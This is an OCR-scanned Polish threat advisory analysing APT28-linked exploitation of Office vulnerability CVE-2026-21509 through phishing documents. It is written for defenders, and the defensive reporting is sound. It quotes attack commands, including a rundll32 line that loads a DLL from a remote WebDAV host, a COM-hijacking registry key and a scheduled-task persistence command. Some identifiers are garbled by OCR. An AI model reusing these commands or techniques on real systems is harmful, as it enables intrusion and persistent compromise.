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Analiza wykorzystania podatnosci CVE 2026 21509 w kontekscie
aktywnosci Crafty Leshy
Archived: 2026-06-03 02:00:51 UTC

Juz cztery dni p6Zniej tj. 30.01.2026 r. analitycy DKWOC, prowadzacy biezace monitorowanie aktywnosci
adwersarzy zidentyfikowali artefakty pozwalajace potwierdzi¢ aktywne wykorzystanie tej luki w kampanii
wymierzonej zaréwno w instytucje krajowe, jak i zagraniczne, w tym podmioty z Rumunii, Ukrainy oraz
Stowacji. Co istotne, przeprowadzona analiza wskazuje, iz aktor rozpoczat prace nad uzbrojeniem ztosliwych

dokumentéw kolejnego dnia po upublicznieniu podatnosci.

Pomimo szerokiego zasiegu kampanii, dziatania adwersarza miaty charakter ukierunkowany o czym $wiadczy
precyzyjne typowanie instytucji, jak i konkretnych oséb w ich strukturach. Na szczeg6lng uwage zastuguje fakt, iz
w celu zwiekszenia wiarygodno$ci wiadomosci phishingowych wykorzystano przejete konta poczty elektronicznej
instytucji panstwowych z krajéw Europy Srodkowo-Wschodniej, w tym m.in. z Ukrainy oraz Rumunii
(odnotowano réwniez dystrybucje wiadomosci z przejetych kont pocztowych z innych regiondw, natomiast w

znacznej mniejszosci). TreSci wiadomosci byly spéjne z profilem dziatalnosci zaré6wno nadawcy, jak i odbiorcy.

Uwzgledniajac powyzsze fakty, nalezy oceni¢, iz kampania zostala zrealizowana w sposéb minimalizujacy ryzyko
wykrycia przez odbiorcéw symptomdw ataku phishingowego. Takie podejscie istotnie zwieksza
prawdopodobienstwo skutecznej infekcji oraz stwarza warunki do utrzymania dtugotrwalej persystencji

adwersarza w skompromitowanych systemach.

Tozsama aktywnos$¢ zostala opisana w dniu 1 lutego przez analitykéw CERT-UA, kt6rzy przypisuja ja do klastra
UAC-0001 powigzanego z APT28. DKWOC S$ledzi przedmiotowego adwersarza jako zbiér aktywnosci Crafty
Leshy.

Na czym polega podatnos$¢ CVE-2026-21509.

Podatnos¢ CVE-2026-21509 wynika z nieprawidlowej walidacji danych wejsciowych wykorzystywanych przez
Microsoft Office podczas podejmowania decyzji bezpieczeristwa. Zostata ona sklasyfikowana jako stabos¢ CWE-

807: Reliance on Untrusted Inputs in a Security Decision, a warto$¢ zagrozenia zostata oszacowana na poziomie

7.8 w 10 stopniowej skali CVSS:3.1 (/AV:L/AC:L/PR:N/UL:R/S:U/C:H/I:H/A:H/E:F/RL:0/RC:C).[12]

Microsoft juz w biuletynie bezpieczenistwa MS 10-03613! (z dn. 16.06.2010r.) zauwazyt problem niewtasciwej

walidacji obiektéw com4! (ang. Component Object Model) oraz poinformowat o wprowadzeniu poprawki
mitygujacej zagrozenie. Jednym z zastosowanych mechanizméw ochronnych byto wprowadzenie mozliwosci

blokowania aktywacji okreslonych, obiektow COM osadzonych w dokumentach Office poprzez zastosowanie

Compatibility Flags (tzw. kill bits).[S]

W przypadku aktualnej podatnosci CVE-2026-21509 atakujacy moze spreparowac dokument, ktory omija proces

walidacji wspomnianego mechanizmu zabezpieczen Compatibility Flags, skutkujac zatadowaniem obiektu COM i
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wykonanie okreslonej dla niego akcji, a jedyna wymagana akcja po stronie uzytkownika to otwarcie ztosliwego

dokumentu (podatno$¢ nie dziata w trybie podgladu np. z poziomu MS Outlook).
Analiza ataku.

Pierwszym etapem odnotowanej kampanii byto dostarczenie wiadomo$ci phishingowych do odbiorcéow. Jak
wczesniej wspomniano adwersarz wykorzystat przejete skrzynki pocztowe instytucji paistwowych réznych
krajéw, w tym m.in. Ukrainy i Rumunii, a tre$ci wiadomosci byly spéjne z profilem dziatalnosci zar6wno

nadawcy, jak i odbiorcy, co zwiekszato wiarygodnos$¢ korespondencji.

=%

L

Rys. 1. Przyktadowa wiadomos$¢ przestana przez aktora.

W przestanym dokumencie zostata osadzona struktura OLE!®] (ang. Object Linking and Embedding) inicjujaca

COM Shell.Explorer.1 (CLSID: EAB22AC3-30C 1—11CF—A7EB—OOOOCO5BAEOB)[7], ktéry pekni role
komponentu powtoki systemu Windows (Internet Explorer / Windows Explorer). W analizowanej prébce jego

inicjalizacja pozwolita na pobranie oraz wykonie pliku skrétu .Ink umieszczonego na zdalnym zasobie sieciowym

WebDAV!8],

=

L

Rys. 2. Reprezentacja hexadecymalna struktury OLE.

Pik skrétu odwotuje sie do obiektu panelu sterowania systemu Windows, wykorzystujac osadzony identyfikator
klasy Control Panel — All Control Panel Items (CLSID: 26EE0668-A00A-44D7-9371-BEB064C98683). W
rezultacie system interpretuje wskazang Sciezke jako element panelu sterowania i podejmuje prébe otwarcia
zasobu znajdujacego sie w zdalnej lokalizacji WebDAV jako pliku typu .cpl[g] (pliki .cpl sgq w istocie bibliotekami
DLL). Mechanizm ten prowadzi do uruchomienia polecenia: rundll32.exe shell32.dll,Control_RunDLL
"\freefoodaid.com@SSL\tables\tables.d""% co skutkuje zaladowaniem i wykonaniem zlosliwej biblioteki DLL

bezposrednio z zasobu sieciowego.

=%

L

Rys. 3. Reprezentacja hexadecymalna pliku .Ink.
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W analizowanym przypadku biblioteka petni role droppera, ktérego zadaniem jest odszyfrowanie (algorytmem
XOR) osadzonych w nim blokéw danych i zapisania ich w okreslonych lokalizacjach na dysku infekowanego

urzadzenia.

=%

" A

Rys. 4. Sekcja odpowiedzialna za zapisanie komponentéw (pseudokod).

W dalszej kolejnos$ci z wykorzystaniem techniki COM Hijacking[ll]

modyfikuje podklucz rejestru HKCU\Software\Classes\CLSID\{D9144DCD-E998-4ECA-AB6GA-
DCD83CCBA16D\InProcServer32 wskazujac na lokalizacje odkodowanej biblioteki:
%programdata%\USOPublic\Data\User\EhStoreShell.dll, oraz ustawia warto$¢ ThreadingModel na Apartment

w celu zachowania dlugotrwalej persystencji

(Single-Threaded Apartment (STA))[IZ]. Zmieniony w tej fazie komponent jest inicjowany automatycznie w

kontekscie procesu explorer.exe podczas jego uruchomienia.

[

L.
Rys. 5. Sekcja odpowiedzialna za COM Hijacking (pseudokod).

Nastepnie tworzone jest zaplanowane zadanie systemowe na podstawie wcze$niej wygenerowanego pliku .xml, z
wykorzystaniem polecenia: schtasks.exe /Create /tn "OneDriveHealth" /XML "%temp%!\Diagnostics\office.xml".
Zadanie to uruchamiane jest po uptywie jednej minuty i ma na celu wykonanie komendy:
%windir%\system32\cmd.exe /c (taskkill /f /IM explorer.exe >nul 2>&1) & (start explorer >nul 2>&1) &
(schtasks /delete /f /tn neDriveHealth). Efektem jego dzialania jest zresetowanie procesu explorer.exe co prowadzi
do ponownej inicjalizacji komponentéw powtoki systemu Windows i uruchomienia ztosliwej biblioteki DLL
zarejestrowanej poprzez opisany wczes$niej COM Hijacking. Mechanizm ten umozliwia uruchomienie kolejnych
etapow infekcji, bez oczekiwania na restart procesu wymuszony dziataniem uzytkownika (np. poprzez ponowne

uruchomienie stacji roboczej).

L.

L
Rys. 6. Sekcja odpowiedzialna za utworzenie zadania uruchamiajacego kolejny etap infekcji (pseudokod).

W dalszej infekcji zaladowana biblioteka EhStoreShell.dll odczytuje plik graficzny SplashScreen.png i wydobywa
z niego tadunek, ukryty przy uzyciu techniki steganograficznej polegajacej na ukrywaniu informacji w najmniej
znaczacych bitach sktadowych koloréw poszczegélnych pikseli (LSB - Least Significant Bit)[13]. Pozyskany w
ten sposob shellcode jest nastepnie wykonywany bezposrednio w pamieci operacyjnej. Przeprowadzona analiza
wskazuje, iz jest to implant Grunt (stager) powiazany z frameworkiem C2 Covenant, a jako kanat komunikacji
wykorzystuje serwis chmurowy filen[.]io. Zastosowane techniki sq spdjne z tymi pojawiajacymi sie we

wcze$niejszych kampaniach przypisywanych temu adwersarzowi.
Dodatkowe informacje.

SpecjalisSci DKWOC potwierdzili mozliwo$¢ wykorzystania podatnosci z innymi obiektami COM, ktére réwniez
mogg by¢ skuteczne w realizacji zto$liwych dziatan. Nalezy podkresli¢, ze podatnos¢ dotyczy takze pozostatych

typow plikow pakietu Microsoft Office wykorzystujacych mechanizmy COM, co umozliwia adwersarzowi
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znaczng elastyczno$¢ do prowadzenia dalszych dziatan z jej uzyciem. Ponadto w toku szczeg6towej analizy
probki, zidentyfikowano artefakty mogace wskazywac, iz operator testowat alternatywne sposoby wykorzystania
tejze podatno$ci m.in. w potaczeniu z wykorzystaniem podatnosci CVE-2021-40444. Ponadto jeden z obiektow
dokonuje préby tadowania szablonu z lokalizacji zewnetrznej natomiast w czasie prowadzonej analizy nie

otrzymano tadunku, totez jego przeznaczenie nie jest znane.
Zalecenia.

DKWOC zaleca wszystkim uzytkownikom pakietu Microsoft Office w wersji 2016 i 2019 niezwloczne
zainstalowanie wlasciwych aktualizacji bezpieczenstwa. Zgodnie z komunikatem firmy Microsoft uzytkownicy
wersji 2021 i nowszych zostali objeci ochrong poprzez wdrozone zmiany po stronie ustugi, przy czym ich

skuteczna aktywacja wymaga ponownego uruchomienia aplikacji Microsoft Office.[14]

Dodatkowo zaleca sie:

e dokonanie weryfikacji komunikacji sieciowej pod katem potaczen z domenami wskazanymi w sekcji 1oC;
» przeszukanie systemow pocztowych z wykorzystaniem reguly YARA dolaczonej na koncu artykuh,

umozliwiajacej identyfikacje probek powiazanych z opisywana kampania.

W przypadku potwierdzenia obecnos$ci ztosliwych plikéw w infrastrukturze lub komunikacji ze wskazanymi

domenami, uprasza sie o niezwtoczne poinformowanie wtasciwego CSIRT poziomu krajowego oraz DKWOC.
Podsumowanie.

Celem niniejszego artykutu jest podkreslenie koniecznosci niezwlocznego stosowania aktualizacji
bezpieczenstwa. Jak pokazuje analizowany przypadek, aktor dysponujacy wysokim poziomem zaawansowania
jest w stanie w bardzo krétkim czasie od momentu publikacji informacji o podatnosci wykorzystac ja do

prowadzenia skutecznych i ukierunkowanych dziatan ofensywnych.

Wskazniki kompromitacji.
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[z

YARA
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=%

L
Wskazniki kompromitacji (IoC) oraz reguta YARA dostepne sg do pobrania ponizej w plikach ZIP.
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